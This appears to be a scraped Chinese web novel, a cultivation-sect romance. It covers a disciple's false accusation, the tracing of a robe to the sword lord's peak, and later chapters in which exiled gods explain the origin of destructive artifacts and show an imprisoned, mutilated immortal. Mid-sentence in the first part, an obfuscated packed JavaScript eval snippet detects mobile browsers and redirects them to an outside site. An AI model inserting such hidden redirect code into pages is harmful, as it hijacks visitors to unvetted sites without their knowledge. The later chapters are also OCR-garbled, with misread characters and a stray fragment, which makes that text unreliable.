“你是说有人偷窃你的衣服和发冠?” “是。” “那师弟这身衣服从何处而来?” “半道一位师兄借与我的。” “姓甚名谁?” “不认识,他送我到灵一峰便自行离开了。” 话问到这里,安如风也不由得静默一瞬。 张涛刺耳的笑声在大殿回响:“你说有人偷你的衣物?安师兄,现在派人回去一查便知,到底是谁在撒谎!” 聂更阑闻言,心一沉。 许田田熟悉他,看到这表情,也跟着张大了嘴巴。完蛋,该不会又被人算计了? …… 七名执事堂弟子御剑流星般赶到妙音峰的拓音阁,直奔聂更阑所住的房间。 一刻钟后便从拓音阁回到了执事堂,向安如风禀报:“聂更阑的铺位上整整齐齐放着三套弟子服,束发的银冠也在上面,” 张涛闻言,缓缓露出一个得逞的笑。 这下,谁在撒谎已经不言而喻。大厅内所有视线齐齐投向聂更阑。 人群中,就连周炎也忍不住对聂云斟耳语:“没想到张涛这小子真是瞎猫碰死耗子了,啧啧。” 大厅内,安如风脸色已经变化了几回,最终还是发问:“聂师弟,你所有衣物和发冠都好好地躺在床上,你为何要撒谎?是为了掩饰你所做之事?” “你昨夜到底在何处,请如实交代!” 许田田扬声喊道:“师兄,聂更阑昨夜在哪,问与他同住一间房的弟子便知!” 柳师姐出言训斥:“执事堂问话,旁的弟子不许插嘴!” 许田田顿时蔫巴了,恼怒地瞪向张涛。 安如风:“与聂更阑住一间屋子的弟子都在何处!” 话落,张琥珀和魏禧等五名弟子分别在人群里不同的位置举起手,“弟子在此。” 安如风:“好,你们来说说,昨夜聂更阑到底在不在房里休息?” 聂更阑抬眸,眼中含着希冀朝那几个弟子看去。 却瞧见,张琥珀、魏禧在接触到他的目光后立即缩了回去,像是看到洪水猛兽一般。 下一刻,张琥珀与魏禧等人一唱一和开始阐述昨夜的事:“回禀师兄,昨夜子时弟子起夜如厕,并未看到聂道友床铺上有人,当时还以为他也去方便了,如今看来,他是,他是……” 他是什么,后面的话已经无须多说。 聂更阑昳丽的眸子剧烈颤抖,目光不可思议地扫向那几个弟子,“你们为何要睁眼说瞎话?” 同屋的其他弟子沆瀣一气,纷纷站出来作证,“我们没胡说,早晨起来我们也没看见你啊,聂道友,你昨夜该不会真的与男子幽会去了吧?” 大厅中的弟子哗然,嗡地一下爆炸开来。 “我的无量上仙啊,这聂更阑自打进入宗门以来都和多少个男子有染了?三四个了吧,他就这么不知检点吗?” “我看应该是急着找靠山吧,我听说他早出晚归打坐修炼却始终无法引气入体,应当是着急了,想广撒网呗,看谁能带他往上爬。” “真恶心,他脸上那道疤也有人能受得了?而且他还找了这么多个男人,也太□□了吧……” 议论声不绝,每一句都如针尖刺耳膜一般扎得聂更阑心口发闷,隐隐作疼。 许田田气得要发疯:“简直是一派胡言!安师兄,还请您彻查此事,还聂更阑一个清白啊!” 柳师姐干脆一道禁言术封了他的嘴,让他再也发不出声音。 安如风忽然厉喝一声:“聂更阑!你昨夜到底在何处,与谁见了面,若是能从实招来,执事堂或许还能对你从轻发落。” 少年只是无声抬起眼,泛红的眸子让安如风一愣。 “师兄,”少年声音含着嘶哑,“我没有见谁,昨夜我一直待在房里睡觉,哪里都没去。” 周炎嗤笑:“嘴硬!这么多弟子都指认了,你还不承认!” 安如风皱眉道:“聂师弟,你若是执意不肯承认,那就请恕我们得罪了!” 他打了个眼色,立即有三名执法弟子上前强行将聂更阑的外裳扒了下来。 聂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13741081|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更阑拼命挣扎却也无济于事,一身里衣暴露在众人视野里。 那件外裳本就不抵御寒气,一脱,寒气立即侵袭缠绕而上。 许田田急得不行,要冲破阻拦上前,许盼娣即使将他拉住,“许道友,你急也没用,还不如让执事堂查个清楚,恰好堵住那些人的嘴。” 许田田这才消停了,愤懑地又跺了两下地板。 安如风神色肃冷睨视聂更阑:“师弟,你不愿报对方姓名,执事堂只好用非常手段了,来人,把追息钟拿出来!” “什么是追息钟?”弟子们交头接耳地议论。 柳师姐解释道:“追息钟,顾名思义就是能追踪对方灵力气息的法器,这件衣服若是那男子的,追息钟定能查到他的去处!” 柳师姐从执法弟子手里接过追息钟,得到安如风的示意,把从聂更阑身上脱下的外袍笼罩在追息钟上。 大厅内所有人都目不转睛,接着看到追息钟上方散发出淡淡的紫色光芒,接着,紫芒幻化成一只飞鸟径直往执事堂大厅外飞去。 这就进一步佐证了,玄色外袍果真属于聂更阑。 安如风一思量,果断下令:“你们在这守着,我去追!” 说罢,当即御剑追上那道幻影紫鸟。 人群里,周炎和聂云斟迅速交换了一个眼神。 张涛邀功似地撇了眼聂云斟和周炎,无得意洋洋,周炎悄悄朝他竖起一个大拇指。 聂云斟本只想干扰聂更阑纪事课小考,再稍微丢个脸,没想到居然有了这个意外收获,简直踏破铁鞋无觅处,得来全不费功夫。 …… 紫鸟幻影一路飞出妙音峰,往北而去。 安如风御剑而行,暗想,看来那人并不是外门弟子。这是否也恰好从侧面证实了,聂更阑只勾搭实力强劲之人? 安如风收起心思,循着紫鸟一路前行。 灵音宗所属地界范围甚广,大大小小几百个峰头,安如风的飞剑跟着紫鸟一路向北,越飞,越觉得不对劲。 这个方位往北,附近没有认真真君长老的峰头洞府,而唯一一位拥有峰头洞府的,是那位宗门地位堪比十个宗主的主儿,清鸿剑尊。 追息钟怎么会带他来这儿? 安如风倏然联想到最近宗门里沸沸扬扬的流言,说是聂更阑勾搭的人之一就有朔。 他来宗门已有两百多年,多少也听说朔似乎是那位剑尊身边的人。 难不成,聂更阑昨夜幽会的对象正是朔? 若果真如此,聂更阑还真是找到了大靠山。 又飞过不知多少个峰头后,紫鸟幻影最终停在玉髓峰外,双翅振动停滞不前,再也没离开。 玉髓峰有禁制,它无法进去。 那件衣袍果真出自玉髓峰! 安如风神情变得凝重,召回紫鸟远离此地,寻了一处无人的峰头降落,随后祭出一张传音符。 传音符咻的伸出两只翅膀,直奔宗主所在的神音峰。 片刻后,在神音峰观星台上喝茶的宗主看到了传音符慢慢降落在他的棋盘面前,蹭蹭收回了两只翅膀。 “执事堂?” 宗主大感奇异。 执事堂近年来很少有无法做出决断的宗务,今日是怎么了,居然少见地给他传音询问宗务事宜? 宗主挑起眉,指尖一道流光弹过去,传音符立即像长了嘴的小人开始叽里呱啦说话:“宗主,今日有一事……” “噗!” 不过几息,听完事情经过的宗主当场喷出嘴里的茶。 “你再说一遍?” 传音符的小嘴再次开始叭叭起来,“宗主,今日有一事甚是奇怪……” 宗主这次听了个一清二楚,到最后,将一段音讯注入传音符,“待在原地勿要离开。” 之后,他便匆匆忙忙将水镜投在棋盘上方,朝里扔了一枚自己的信符。 水镜亮了亮,但似乎没动静。 宗主如此急躁还是五百年的事了,好家伙,这会儿又让他重回当时那种着急的心情,实属不易。 他又接连投了好几枚信符,催促对面赶紧同意他的传音联络。 “关键时刻不出现,真是的……” 宗主又投了七八枚信符,对面终于传来沙沙声响,水镜里出现影像,似乎是清鸿剑尊堆叠在地面的织锦金丝袍角。 而后,清鸿剑尊半边锋利的下颌角出现在水镜里,“何事?” 宗主哼了一声:“那日我不是与你说过,朔追求那位聂更阑张扬得很,闹得宗门人尽皆知,那你可知,昨夜他们两人幽会了一整夜?!” 水镜里,锋利的下颌线微微抬起。 清鸿剑尊额角跳了跳,“为何如此说?” 宗主把执事堂禀报的事情一五一十都说了。 “那追息钟的紫鸟幻影就停在玉髓峰外流连不去,你说,不是朔还能是谁?” “清鸿啊,我本意是让你劝劝朔,你是不是还没同他提起这件事?如今都有弟子告发那位聂小友淫/乱宗门祸害弟子了,这个罪名可不小啊!” 宗主语重心长对水镜道:“我看那聂小友并非什么浮花浪蕊之辈,你说,会不会是朔勾引的人家,唉,龙族毕竟天性就——” “元千修!”一道怒气冲冲的声音打断了他的长篇大论,“我昨晚在玉髓峰睡得好端端的,你怎的给我乱安罪名!我出没出去剑尊还不清楚吗!” 水镜视线不能及之处,北溟朔的声音怒气冲冲传了出来。 宗主:“……” “啊?” 下一瞬,他震惊地看向水镜里。 里边却没有动静再传来,甚至那道下颌线在水镜里一闪而过瞬间消失,只留下那堆叠的金丝线锦绣袍角。 宗主的脑子在飞速运转之下,最终得出一个最不可能的答案,当即震惊失语,“难道昨夜那人是……” “清鸿?!” 157、第157章 “欢迎来到诸神大陆。 几个字犹如惊雷落在众人耳里,轰隆作响经久不息。 几人视线望着燧明岛上方这座广阔无边、森然阴冷的大陆,一时间看得怔然。 聂更阑旋即回过神来,把清鸿剑尊放下来,把视线所触及之景象——描述给他听。 流光真君口中喃喃出声,视线扫过空旷辽阔的阴森山丘、山脉,又从入口处的天梯朝下俯瞰深渊以及下方的燧明岛。 后卿道:“是不是很奇怪为何不去燧明岛?" 三危冷哼声传来:“那里只不过是处理恶童之地,无甚稀奇。 后卿点点头,接过话头:“之后此事为帝丘所寨觉,燧明岛这才荒废了多年。 流光真君心中一动:“这座岛究竟是 不过,他话未说完,遥远的山谷和山丘啊之间传来泠泠回荡的人声。 “呵呵,三危后卿,你们好大的胆子。 来人声音不怒自威,虽是极为平淡的一声,却无端叫人心中发毛,脊背发凉, 心中下意识升起一阵恐惧。 三危和后卿身上还兀白被神火燎烤着,闻言相视一眼,纷纷朝出现的来人躬身行礼。 “巫山圣君。 不过一刹那间,一道巍峨高大的身影由远及近从远处山谷掠向几人。 巫山圣君甫一出现,袖袍一挥,后卿三危双双被一股灵气拂倒,面容痛苦滚落地面 “呵,"巫山圣君眉高日深,鼻梁高挺,轮廓分外犀利,因此往往朝人看过去时会给对方极大的压追感“即便冒着被神火炙烤的风险你们也要擅自离开诸神大陆,为的就是见这几人? 随着巫山圣君每一句话落下,后卿和三危身上的神火焰苗越发旺盛,此前还在苦苦支撑的两人终于呻吟出声,额头开始滚落汗滴。 巫山圣君轻笑一声,视线落到聂更阑身上,扫过白瞳的清鸿剑尊,最后,落在神色庄肃的流光真君身上。 "是他么?”巫山圣君移步上前,神情骤然冷冽,目光死死盯着流光真君。 后卿喘息一声,痛苦叫道:“圣君,不可。 然而巫山圣君已经一弹指尖,流光真君身体已经被骤然提起悬在半空,眼看就要狠狠摔在铺满尖利石子的地 面,三危和后卿拼着还在被神火燎烤的痛楚飞身扑向流光真君 惊惶得还未反应发生何事的流光真君已然被两股强悍灵力轻轻托住如同羽毛飘落一般平放到地面。 聂更阑已经奔了过来,把流光真君拉到身后和清鸿剑尊站在一处,目露警惕盯着这个所谓的巫山圣君。 巫山圣君信步来到聂更阑面前,鹰年般的双目毫无感情扫视将其扫视一番,冷冰冰道:“滚开。 聂更阑心脏一沉,正欲出声,这时流光真君拍了拍他手臂,示意他无需替自己出面。 流光真君从聂更阑身后走了出来,神色平静地与巫山圣君对视. 后卿、三危相视一眼,疾步上前拦在流光真君面前. 巫山圣君扯起唇角,声音肃冷, “三危,这就是你所谓的站队?看来此前你伪装得甚是巧妙,连本君也未能看出你有二心。 三危道:“圣君明鉴,帝丘如今仍在其位,若伤了他,岂不是会破坏圣君和帝丘之间的感情。 巫山圣君闷笑几声,“三危啊三危,你倒是会替本君操心。 “帝丘对他隆情盛意,我若伤他,帝丘怎会不知情?放心,本君不会给自己、给你们无端招来祸事。” 三危、后卿闻言松了口气,也不再继续阻拦他。 巫山圣君从两人中间缓步来到流光真君面前,从头到尾将其打量一番,“原来你在下界长这副模样,依旧是这般道貌岸然,令人作呕。 流光真君愕然一瞬,很快,神情恢复镇定,“你什么意思?" 巫山圣君嗤笑一声,打了个响指。 接着,后卿、三危身上炙烤的神火骤然熄。 “本君给你们一个机会,说一说,他到底有什么本事能勾得帝丘不顾众多神君仙君反对,执意要立他为君后?" 话音一落,四周传来长久的死寂。 三危、后卿目光复杂地在巫山圣君和流光真君之间来回扫视。 后卿神情透着股一言难尽:“还望圣君不要为难我等。" 巫山圣君笑了笑,目光沉沉再次上前走了两步。 莫说是一般人,就连神君仙君见着巫山圣君也往往会被他无上的气势压迫,不能与其对视。 然而流光真君并不畏惧,只是平静注视眼前这个明显对他饱含无尽敌意的男人。 巫山圣君冷嗤:“装模作样。 “不过是仗着已然知晓自己的身份,我不敢动你罢了。 流光真君:“ 流光真君端纵使再端庄,此时也被这厮莫名其妙的敌意和质问弄得心头火起,于是似笑非笑道:“巫山圣君? “莫非你以为自己是圣君,说的话就一定极具说服力,又或者,你打算用权势压迫所有人都认同你的说法? 巫山圣君脸色顿时更为黑沉。 流光真君:“你仗着清楚所有前尘往事站在制高点对故人说长道短,指手画脚,敢不敢等故人重归神位时把方才的质问再说一次?" 空气又是一阵死寂。 后卿、三危已经替自己抹了一把汗,生怕流光真君激怒巫山圣君,后者就地在此将他神魂绞碎永世不得回归仙班。 不过这洛水神君即便下界历劫性子也依旧未变,还是那副随意两句话就能把巫山圣君气得半死的脚性,真乃神人也。 不过巫山圣君显然还未蠢笨到被一两句话引得冲动铸下滔天大错,只是日光阴恻恻盯着流光真君。 忽然就笑了。 “你向来头头是道,有自己的歪理。" “既然你这般通幽洞微,我倒是有个问题想向你讨教。 流光真君扬眉: “巫山圣君,我想有一件事你弄错了。 “我并非你在上界的故人,我们信息本就不对等,你若要质问,不如等他回归上界再 “不。" 巫山圣君打断他,语气很坚定,“我只想问你一个很简单的问题。 流光真君:“." “既然圣君不耻下问,那便问吧。 后卿广袖下的手轻微动了动,嘴角忍不住抽搐几下。 神君气死人的本事他不知道,气死巫山圣君的水平倒是有增无减. 巫山圣君目光阴沉沉盯着流光真君,似是在极力压制怒气,须臾,曼声开口:“若你喜欢一个人,可那个人不喜欢你,你当如何面对?" 流光真君神色略有惊讶,没料到巫山圣君会问他这个问题。 巫山圣君以为他感到为难,道:“按你的想法照实说即可。 流光真君却不假思索脱口而出:“衷心祝福,淡然处之,会有人比他更好。 后卿和三危:“….”两人脚步有轻微挪动,忽然有种想逃的冲动。 这种惊世骇俗的对话不是他们能听的,九重天那位若是知道这段对话,他俩日后怕是永无回到九重天的机会,将永远留在诸神大陆受尽折磨. 可巫山圣君没发话,他们断然不敢离开,只能极力压低存在感在原地, 巫山圣君目光在流光真君脸上逡巡,见他神情不似作假,须臾,低低笑了起来,“不对。 "有何不对?”流光真君扬眉。 巫山圣君斩钉截铁道:“对于喜欢的事物,应当不惜一切手段夺过来。 流光真君:“尽管对方并不喜欢你,甚至厌恶你?" “是。 流光真君不禁挑眉:“若你爱慕于他,为何不能为对方的幸福着想,而非要使他厌恶于你? “倘若生搬硬套一句古话,那便是,以欲从人则可,以人从欲鲜济。 “不过圣君既然有自己的坚持,又何必还要问旁人的意见呢。 巫山圣君一时间没出声,而是细细打量流光真君,过了很久,才道:“谁知道呢。 “你登天梯想寻一个答案,本君亦然。" 看来今日他们都没有白来。 巫山圣君忽然仰天长笑出声,“呵呵呵。 众人沉默地看着这位圣君笑了很久,终于,见他慢慢止住笑声,恢复了此前冷肃的神情 巫山圣君不再多言,环视众人一圈,“啪”地一声,有灵力波动传来。 下一刻,他已经消失在原地,不见影踪,只余空悠悠的声音在山谷间回荡 “剩下的事,尔等自己看着办吧。 话音落,四周恢复湛然寂静。 后卿、三危相视一眼,似乎从愕然中刚回神。 巫山圣君莫非悲伤过度连他们擅自离开诸神大陆之事也不打算追究了? 不过,即便他不追究,身在九重天的帝丘也不可能不降罪。 到了这时两人依旧安然无恙未见天雷罚下,只能说明一点。 帝丘已经知道此事。 后卿三危不禁汗如雨下,拾首仰望诸神大陆上空,仿佛漆黑的天空似有一双硕大的黑瞳正盯着他们,发出警告之意 后卿忍不住扫了眼静静伫立的流光真君。 还真是托了这位的福,否则他们二人今日定逃脱不了皮开肉绽的惩罚。 这时,流光真君神情意味深长看了过来。 后卿和三危忍不住躲避他的眼神:“ 流光真君已经从方才的对话大约得知自己的身份来历,也终于明白三危后卿这般维护自己的理由。 他微微一笑,亦是仰头望向上空。 这一趟确实没有白来。 “你们说够了?" 这时,青年沉郁的声音从远处传来,“说完了,能否告知我朋友到底去了何处?" "”后卿遽然一怔,这才记起还有一个“麻烦”亟待解决。 短短一天接二连三碰到的都是祖宗,他和三危属实是撞大运了。 三危沉声道:“看来若想让他们返程,只能将事情真相告知他们了。 后卿不禁再次仰头望天,喃喃自语,“帝丘啊,事急从权,这并非我们能控制的。" 三危催不耐烦出声催促:“都告诉他们吧。” “再拖下去,流月大陆将毁于一旦,我们也要被帝丘挫骨扬灰,何来回九重天一说?" 后卿脸色冷了下来:“此事责任在你,现在知道着急了?" “你!" 三危亦一时语塞,气得将手背到身后,说不出话了 后卿看向聂更阑几人,道:“诸位,请随我来。 流光真君看着后卿和三危带着他们走向天梯,惊讶地问:“又要下去?你们不是不能擅自离开诸神大陆么?" 后卿苦笑一声:“我猜,方才所发生之事已经全然被帝丘知晓,再下去一趟也是为了你们,无妨。" 流光真君看向聂更阑,后者点点头,搀扶着清鸿剑尊往天梯方向走去, 三危 后卿带几人顺着天梯往下, 不知过了多久,终于来到他们途经而不入的燧明岛 行人上到燧明岛,入目便是一片荒凉草木,四处皆是疯长的灵植藤幕,参天古木,只可惜感明岛也几乎和诸神大陆一般黑暗凄凉,没什么光照,否则整个荒废的岛屿此时早已要被灵植淹没了。 后卿挥手灵力一拂,将大片几人高的灵植抚平,露出大片宽阔的空地。 随后,他转身看向聂更阑几人,沉声道:“你们可知,诸神大陆其实也唤作魔神大陆?" 聂更阑几人摇摇头。 后卿:“魔神,实则是被九重天流放惩罚的神君,所有犯了重大天条罪过的神君都会被下方至诸神大陆。 原来,后卿、三危一万多年前因犯下大错流放至诸神大陆,诸神大陆长年阴暗森冷,无趣至极。 再加上两人终日喜欢研究炼制神器,又因着是死对头,因此成日在诸神大陆斗法打架,不斗个你死我活就不痛快。 万年前某一日,两人在打斗中把一件新研制出的神器归墟仙草误扔下了流月大陆,这仙草极具毁灭性,一旦投入下界,终有一日流月大陆会灰飞烟灭彻底沉没。 后卿三危顿时急了。 帝丘即将要立为君后的部位洛水神君如今正在流月大陆历劫,历劫完毕就要回归仙班与帝丘编结酒烟之好,若因为他们二人的过错致使流月大陆消散沉默导致帝丘痛失仙侣,他们不光是要被一层皮,恐柏从此再天重返九重天的希望。 为了拯救流月大陆,后卿将炼制了千年的混沌仙鼎扔到流月大陆,希翼能碰到有缘人把仙草扔进混沌仙鼎炼化,破解这次危机。 而赫连金元,正是那个有缘人。 聂更阑几人乍然听到赫连金元的名字,不禁面面相觑 原来关于归墟仙草和混沌仙鼎这几件神器一事中,背后竟还有这般复杂来历和缘由。 聂更阑慢慢握住清鸿剑尊的手,攥紧了。 毕竟赫连金元还牵连北溟楼衣,他生怕师尊忆及往事伤神。 清鸿剑尊反手轻拍他手背,“无碍,放宽心。” 流光真君这时道:“混沌仙鼎和归墟仙草都到了赫连金元手中,但是却没能将危机解决。 后卿点点头:“原本赫连金元已然要飞升,却因为和道侣以及魔后的个人私事没能把归墟仙草带回九重天,帝丘大怒。 “赫连金元才升上界,匆匆被贬至诸神大陆受罚。 “我和三危原本就没指望赫连金元一定能把归墟仙草炼化,在很久之前还将另一件神器扔到历练流月大陆,对了,正是你们所属实的那个银发蓝瞳的少年。 流光真君终于惊讶了:“忘忧泽?" “正是。 后卿叹了口气,“混沌仙鼎加一个忘忧泽都没能把归墟仙草解决,帝丘震怒也并非没有道理。 “事情就坏在,那时候我与三危关系恶劣到极点,三天一大吵,五天一大闹,此人居心叵测,故意将一条金额巨蟒放入流月大陆,没想到另一只小的也偷偷溜下界寻它去了。 聂更阑:“…" 流光真君:“…"” 他们再清楚不过,此次黑雾漩涡加速扩大,正是因为仙草中含有大量影幽魔气,这才加剧了漩涡扩撒的速度。 三危冷嗤出声:“居心叵测?“ 1.24 T 市城七厅 后卿神色冷怒: “你想害我便直说,不过是酒醉失言你也将其当真,金额巨蟒流入下界你可知后果是什么?! 三危呵呵道:“金额巨蟒流入下界之后我们二人便被押进囚牢折磨得生不如死,本君哪还有心思担忧流月大陆命运如何,能活着从牢里出来已算是万幸! “蠢货!"后卿被他气得不轻,“在那之后我已经停止研制神器,你却仍旧继续招揽恶童,难不成你想拖我一道灰飞烟灭在这诸神大陆?!" 三危冷笑:“生不能同衾,死同穴,妙哉!" 后卿被他气得不轻,说着说着就又要动手打起来,被流光真君上前横在他们中间,道:“二位,冷静。 两位神君这才记起旁边还有人,怒气顿消,互相瞪了一眼对方后退几步站得离彼此远远的,生怕沾上对方倒霉晦气 流光真君扶额,一时无言,没想到流月大陆危机的背后竟然有这般奇葩的理由,想了想,他理清混乱的思绪,问道:“招揽恶童研制神器?这是怎么一回事。 后卿理了理方才因为愤怒而凌乱的衣襟,道:“那些无名山谷中的恶童本就天生器灵体质,用来作为神器载体最合适不过。" 聂更阑忽然道:“这么说,归墟仙草,忘忧泽,混沌仙鼎,金额巨蟒,都是用那些恶童制成的神器?" 后卿冷笑一声,目光阴沉扫了眼三危,“金额巨蟒不是。那两只金额巨蟒是诸神大陆另一位受罚神君的魔宠,他当时为了一句无关紧要的酒后失言,竟把那位神君的魔宠偷了出来.…. 不知是否因为回忆起往事,后卿怒得心口绞痛,恶狠狠瞪向始作俑者的某人。 三危脸色唰地变了,似是也对自己往日种下的恶果感到了何为因果报应,只是,他嘴唇蠕动几息,用旁人几乎听不到的声息咬牙低喃着:“并非酒后失言 聂更阑几人再次陷入沉默。 流光真君不禁感慨:“那些恶童视人命为草芥,对比自己实力弱之人恶语相向,到头来制成的神器,岂不是也成了凶煞神器。 后卿摇摇头:“脾性恶劣的,一般不会轻易成功炼制为神器。 流光真君扬了扬眉,“竟还有这回事。” 聂更阑神色阴沉道:“你们所说之事,和我两个朋友有何关联?难道九重天的神君就能滥杀无辜,草菅人命? 流光真君清了清嗓子:“更正一下,他们只是被贬至诸神大陆犯了事的魔神,已经不是什么神君。 后卿:“ 三危: n 后卿道:“诸位,随本君去一个地方。" 不多时,两人把他们几人重新带回诸神大陆. 在穿过无数座荒凉阴暗的山谷和山丘,约莫两个时辰后,他们终于看到一座高大威严、阴气森然的牢狱。 由于进去需要步行穿过山谷中间的冗长通道,一行人降落至地面慢慢往那座森严的牢狱走去。 流光真君这时记起一件事,不禁开口问:“后来你们心中清楚将神器乱扔到下界的后果,于是停止了研制神器,燧明岛随即跟着荒废几千年。 说到这,他目光扫向神情沉重的三危,“为何三危神君却仍旧继续招揽恶童? “唰。“ 这次,三危和后卿同时停下脚步,三危恶狠狠扫一眼后卿,似是沉怒不已 后卿:“" 后卿:“倒是可以说,不过洛水神君须得承诺我,日后回归仙班不能同机报复我和三危神君。 流光真君目光透着“你若不说,届时我回到九重天也会自行查明,不若现在便坦白,届时我会禀明帝丘一切从轻发落。 后卿再次狠狠瞪了一眼三危:“… 事到如今再不解释,恐怕他们承受不了帝丘的雷霆之怒。 三危言简意赅:“巫山圣君。" 流光真君扬眉,示意他继续说下去。 后卿道:“巫山圣君乃是帝丘养子,帝丘膝下无子,终有一日这天帝之位会传给圣君。 "三危已经选择站队跟随圣君,而圣君”后卿越说到后面越是心虚,甚至不敢直视流光真君。 流光真君眉梢轻挑,已经了然于胸,“巫山圣君爱慕帝丘,对我恨之入骨,因此趁着我下界历劫想置我于死地?" 后卿脸色变了变,躬身拱了拱手,“神君慎言,证据尚未确凿,若是引发帝丘和圣君不和…” 流光真君笑了:“人证是三危真君,物证便是那些恶童,何来证据不明?“ 见后卿和三危额头浸出冷汗,流光真君道:“巫山圣君企图利用你们制造灭世神器,将我历劫所在的流月大陆毁灭?" 见他们二人脸色再次有了变化,流光真君的猜测终于得到证实。 继而低笑出声。 “虽然我暂时失去了作为洛水时的记忆,不过我相信洛水并不是那种鲁莽愚钝之人,洛水在九重天时难道就从未发觉过巫山对他的敌意么? 后卿一怔,“神君的意思是?" 流光真君:“洛水必定给自己留了后路,不至于在发生变故后真身回不到九重天。 三危后卿又是一怔。 诚如流光真君所言,洛水真君从来不是蠢笨之人,怎么可能对巫山的恨意毫无所觉? 洛水神君即便在历劫的大陆遭遇不测,最终也能回归仙班,知晓一切巫山曾经对他使过的阴私手段。 届时,帝丘绝对不会放过每一个陷害洛水神君之人。 后卿、三危不禁同时打了一个寒颤。 后卿见状,一条明路已经摆在眼前,焉有不选的道理,于是再次躬身,道:“诚如神君猜测的那样,分毫不差。 说到这,他话锋一转,眼神扫向身侧之人,“不知神君能否看在我们主动坦白的情面上饶恕三危站队一事,他是逼不得已,否则巫山圣君只会让我们在诸神大陆的日子越发险阻难熬。 “好啊。” 流光真君答应得轻松,“那就要看你们日后的表现了。"”好了,现在快带我们进入牢狱吧。" 后卿做了个请的姿势,“几位,跟我来。" 聂更阑扫了一眼流光真君,心中激起了千层浪。 心绪纷杂时,后卿和三危已经大步朝牢狱走去。 聂更阑握紧清鸿剑尊的手,低声道:“师尊,我们走。 清鸿剑尊开口:“发生了这么多事,可还能接受?" 聂更阑神情笃定,“嗯,只要有师尊在,我便不会慌乱。 清鸿剑尊伸手抚上他脸庞,轻柔地摩挲着。 聂更阑勾起唇,重新牵起他的手,带他继续往前走去。 面前不远处,三危正对后卿传音。 “你方才为了我向洛水神君求情,是不是心疼本君?" 后卿扫他一眼,神色冷淡至极,压根不屑同他扯嘴皮子。 三危看着快步往前走的后卿身影,唇角弧度上扬,追了上去。 三危和后卿在牢狱中待了万年之久,已经对牢狱的禁制和看守颇为熟稔。 两人仅仅用了两壶九重天的玉髓酒就将看守收买,把聂更阑几人带进了大牢。 聂更阑几人藏身于他们设下的隐匿结界中,经过了一处又一处关押诸神的牢门。 约莫过了一刻钟,才终于来到此行的目的地。 “看。”后卿指着前方出现的一座浴池示意他们看过去。 他们身处的这方山洞是一个独立的小牢狱,与其他魔神完全是隔离关押囚禁,一看便知道关押在此的人受到了帝丘雷霆之怒的惩罚。 此刻,池水中,那人双手被玄铁吊在空中,下身却泡在池水里,满身血污和伤痕,头发亦是散乱不已,像是在这里受到了很多折磨 而当几人看清此人蓬头垢面下的那张脸时,流光真君不禁失声叫道:“赫连金元?" 与此同时,聂更阑牵着清鸿剑尊的手也禁不住用力握紧。 居然是赫连金元。 “师尊。”聂更阑低声唤道,随后,将眼前所见景象向清鸿剑尊——描述. 赫连金元一双眼睛被洞穿,血污干涸凝固在眼周,双腿也被齐齐斩断,泡在池水中 那吊着他双手的玄铁一看便大有乾坤,已经快把他手腕磨出了骨头,池水呢,也将他斩断的双腿浸泡得露出了腿骨,模样之惨状实在令人不忍多看第二眼。 而流光真君的这一声呼唤并未得到回应。 赫连金元仿佛泡在那池水中,许是被刑罚折磨得太过凄惨,已经陷入昏睡之中。 158、第158章 聂更阑几人被眼前景象深深地震撼了。 流光真君近乎失语般低喃着:“这是那位已经飞升了的大能,赫连金元? 后卿道:“他如今已是赫连仙君,只不过时运不济,帝丘的雷霆之怒无人能承受。 众人默默看着泡在池水中的赫连金元。 浑身上下没有一处皮肉是完好的,血肉骨头可见,处处皆是腐烂,斩断的双腿伤口处因为浸泡着池水,已经近千年没有愈合,一直在无尽的蚀骨之痛中饱受折磨。 后细:“这玄铁乃是九里天神君亲炼的万年神洗玄铁,油水则是帝丘瑶池养的较龙类片以乌木漫泡千年的地水,能则万虫蚀合心,恐怕他身钢内里也早已度烂得不成样子,若非他是仙君之躯,怕是连骨头都早已被腐蚀治尽 三危:“据说此人乃是最倒霉的仙君,没有之一,刚飞升上界便被帝丘罚入诸神大陆,至今还未能有哪位仙君神官能与他媲美的。 流光真君:“…" 谁想和这种事媲美啊,脑子又不是被驴踢过。 这时,后卿目光投向面色沉郁的聂更阑,道:“你的疑问,便在他身上。 聂更阑顺着他的视线看向满身伤痕皮肤溃烂得不成样子的赫连金元。 流光真君看着后卿道:“你的意思,莫非赫连仙君的惨状是君道友和慕容道友造成的? “非也。” 后卿话音落下,一挥手。 这方宽阔的洞穴中立时绽放出一阵盛大光芒。 渐渐的,光芒黯淡后,终于能看清悬在空中的事物。 不光流光真君吃了一惊,聂更阑神色也沉了沉,接着,低声告诉清鸿剑尊面前到底是何物。 那是一双血淋淋的眼球,看仔细时上面还布满了血丝。 而在那对眼球的旁边 则悬着一双被斩断的腿。同样是惨不忍睹,鲜血淋漓,皮肉黏着血水,肉可见骨 只要看多几眼不免令人生恶。 流光真君不忍直视,移开目光,眉头深深皱起,问:“这是赫连仙君的双目和双腿? 后卿:“正是。” “这是赫连仙君受罚被剜去的双目以及斩下的双腿。 “原本这双腿和眼睛没这么快出现在诸神大陆的牢狱中,不过,今日情况特殊 后卿说着,深深看了一眼流光真君。 流光真君不解,目露疑惑。 三危道:“呵呵,洛水神君意外驾临,帝丘许是不忍让神君看到这般惨象,特意准许赫连仙君的双目双腿回到他身边,待流月大陆危机解除,双目双腿自然能回归他本体。 流光真君眉毛一扬。 这帝丘,难不成还怕自己的形象在他心中有所败坏? 呵呵,不用他多此一举,帝丘的形象也在他心中有所崩裂。他倒要看看,届时他飞升回到九重天,帝丘要如何向他解释这件事 这时,聂更阑身形未微动。 流光真君也在同一时间开口。 后卿见状拾手示意他们稍安勿躁,“赫连仙君的双腿,是帝丘下令斩掉。 “而这双目,乃是赫连仙君为平息帝丘震怒自愿剜去。“ 聂更阑、流光真君俱是一怔。 “帝丘希望流月大陆此次劫难能尽快平息,赫连仙君就更不用说了。" “因此,这双目被派到下界,协助这二位 